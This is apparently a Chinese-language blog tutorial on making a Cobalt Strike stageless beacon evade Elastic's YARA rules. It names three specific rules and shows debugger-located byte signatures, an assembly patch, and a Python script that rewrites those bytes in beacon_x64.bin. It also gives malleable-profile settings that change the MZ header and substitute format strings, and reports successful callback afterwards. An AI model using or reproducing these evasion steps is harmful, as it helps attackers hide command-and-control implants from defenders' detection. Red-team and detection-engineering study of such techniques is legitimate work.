前言

大家都知道cs默认是有很多特征的,但我们可以用profile去除掉很多的特征,基础的修改就不多说,网上很多文章,这里用团队的profile来检测一下生成的raw有多少规则,用的是Elastic的规则。

规则检测

先用cs生成一个无阶段的raw文件(如果有udrl的记得unload)

image-20240301145834328

然后用yara检测一下,发现还是有不少特征的,一条条的来。

image-20240301153634476

image-20240301154306510

Windows_Trojan_CobaltStrike_f0b627fc

image-20240301155059667

先dbg来调试查看,在CPU中,搜索->所有模块->匹配特征

image-20240301153857571

然后把刚刚查出来的十六进制丢进去搜索

image-20240301154002210

image-20240301154005703

出现了两条,先点第一个进去,发现就是这两行,复制一下内存地址,然后ctrl+g 跳转过去

image-20240301154033603

image-20240301154111033

这里就是规则点,看看一下汇编

1
2
3
and eax,FFFFF
cmp eax,414141
jne baseloader.7FF61DAA95A3

这里汇编就是用eax去比较是否是414141,直接修改一下代码用mov eax,414141让他逻辑正常

image-20240301154331459

改好之后补丁一下,再去扫描一下

image-20240301154432502

发现确实少了一条,另外一条就是上面看到的另外一个,也一起修改一下

image-20240301154745345

bypass之后测试上线正常

image-20240301154944816

直接用python来改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def replace_bytes(input_filename, output_filename):
search_bytes = b"\x25\xff\xff\xff\x00\x3d\x41\x41\x41\x00"
replacement_bytes = b"\xb8\x41\x41\x41\x00\x3D\x41\x41\x41\x00"

with open(input_filename, "rb") as input_file:
content = input_file.read()
modified_content = content.replace(search_bytes, replacement_bytes)

with open(output_filename, "wb") as output_file:
output_file.write(modified_content)

print(f"Modified content saved to {output_filename}.")

# Example usage
input_filename = "beacon_x64.bin"
output_filename = "output.bin"
replace_bytes(input_filename, output_filename)

Windows_Trojan_CobaltStrike_1787eef5

image-20240301155047094

这个规则很明显是PE头4D5A的特征,直接用profile来修改PE头信息

1
2
set magic_mz_x64    "AABB";
set magic_mz_x86 "CCDD";

改好就直接bypass了

image-20240301155527020

Windows_Trojan_CobaltStrike_3dc22d14

image-20240301155830154

这个%02d在c里面是数字宽度2,位置不足左边补0,%.2d和%02d效果一样,直接修改一下

image-20240301160200556

修改之后也是没检测出来了

image-20240301160231560

最后也是能成功上线

image-20240301160252804

为了方便直接在profile里面用strrep替换就行了

image-20240301162956905